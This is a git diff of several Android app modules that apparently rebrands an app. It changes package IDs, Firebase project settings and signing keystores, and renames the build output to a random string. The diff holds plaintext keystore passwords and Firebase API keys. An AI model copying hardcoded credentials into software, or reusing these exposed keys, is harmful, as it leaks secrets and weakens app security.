diff --git a/telur33/src/main/AndroidManifest.xml b/telur33/src/main/AndroidManifest.xml
index 2763856..ee54691 100644
--- a/telur33/src/main/AndroidManifest.xml
+++ b/telur33/src/main/AndroidManifest.xml
@@ -9,7 +9,7 @@
android:name="android.hardware.camera2"
android:required="false" />
-
+
diff --git a/toto88new/build.gradle b/toto88new/build.gradle
index 60398fb..6f268ff 100644
--- a/toto88new/build.gradle
+++ b/toto88new/build.gradle
@@ -18,17 +18,29 @@ android {
}
signingConfigs {
+// debug {
+// storeFile file('toto88.jks')
+// storePassword "dskj123456"
+// keyAlias 'key0'
+// keyPassword "dskj123456"
+// }
+// release {
+// storeFile file('toto88.jks')
+// storePassword "dskj123456"
+// keyAlias 'key0'
+// keyPassword "dskj123456"
+// }
debug {
- storeFile file('toto88.jks')
- storePassword "dskj123456"
+ storeFile file('justlet.jks')
+ storePassword "123456"
keyAlias 'key0'
- keyPassword "dskj123456"
+ keyPassword "123456"
}
release {
- storeFile file('toto88.jks')
- storePassword "dskj123456"
+ storeFile file('justlet.jks')
+ storePassword "123456"
keyAlias 'key0'
- keyPassword "dskj123456"
+ keyPassword "123456"
}
}
@@ -43,7 +55,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "toto88"
+ def appName = "gcdgsghdsdddddass"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
@@ -80,5 +92,5 @@ android {
}
dependencies {
- implementation project(path: ':base')
+ implementation project(path: ':base_no_all')
}
\ No newline at end of file
diff --git a/toto88new/justlet.jks b/toto88new/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/toto88new/justlet.jks differ
diff --git a/toto88new/src/main/AndroidManifest.xml b/toto88new/src/main/AndroidManifest.xml
index a45e2fb..f83168f 100644
--- a/toto88new/src/main/AndroidManifest.xml
+++ b/toto88new/src/main/AndroidManifest.xml
@@ -9,7 +9,7 @@
android:name="android.hardware.camera2"
android:required="false" />
-
+
diff --git a/u88/build.gradle b/u88/build.gradle
index 570e8a2..dcb8fad 100644
--- a/u88/build.gradle
+++ b/u88/build.gradle
@@ -9,7 +9,7 @@ android {
defaultConfig {
//70
- applicationId "com.xyz.u88"
+ applicationId "com.xyz.you88"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
diff --git a/u88/google-services.json b/u88/google-services.json
index cba6df8..0b8e132 100644
--- a/u88/google-services.json
+++ b/u88/google-services.json
@@ -1,21 +1,21 @@
{
"project_info": {
- "project_number": "404503683902",
- "project_id": "us-43e92",
- "storage_bucket": "us-43e92.firebasestorage.app"
+ "project_number": "850524609547",
+ "project_id": "you88-dc797",
+ "storage_bucket": "you88-dc797.firebasestorage.app"
},
"client": [
{
"client_info": {
- "mobilesdk_app_id": "1:404503683902:android:e6afcbbd3b2c8c03b7426f",
+ "mobilesdk_app_id": "1:850524609547:android:60398993a686b53d3ffb0e",
"android_client_info": {
- "package_name": "com.xyz.u88"
+ "package_name": "com.xyz.you88"
}
},
"oauth_client": [],
"api_key": [
{
- "current_key": "AIzaSyDOl3_2SdhEjxOYzqpYItPAbYTXJaG_zks"
+ "current_key": "AIzaSyD6LfftIN7UNSxW8FMWnhSIfoqBjePTCDM"
}
],
"services": {
diff --git a/u88/src/main/AndroidManifest.xml b/u88/src/main/AndroidManifest.xml
index a34b9d1..b377611 100644
--- a/u88/src/main/AndroidManifest.xml
+++ b/u88/src/main/AndroidManifest.xml
@@ -1,6 +1,6 @@
+ package="com.xyz.you88">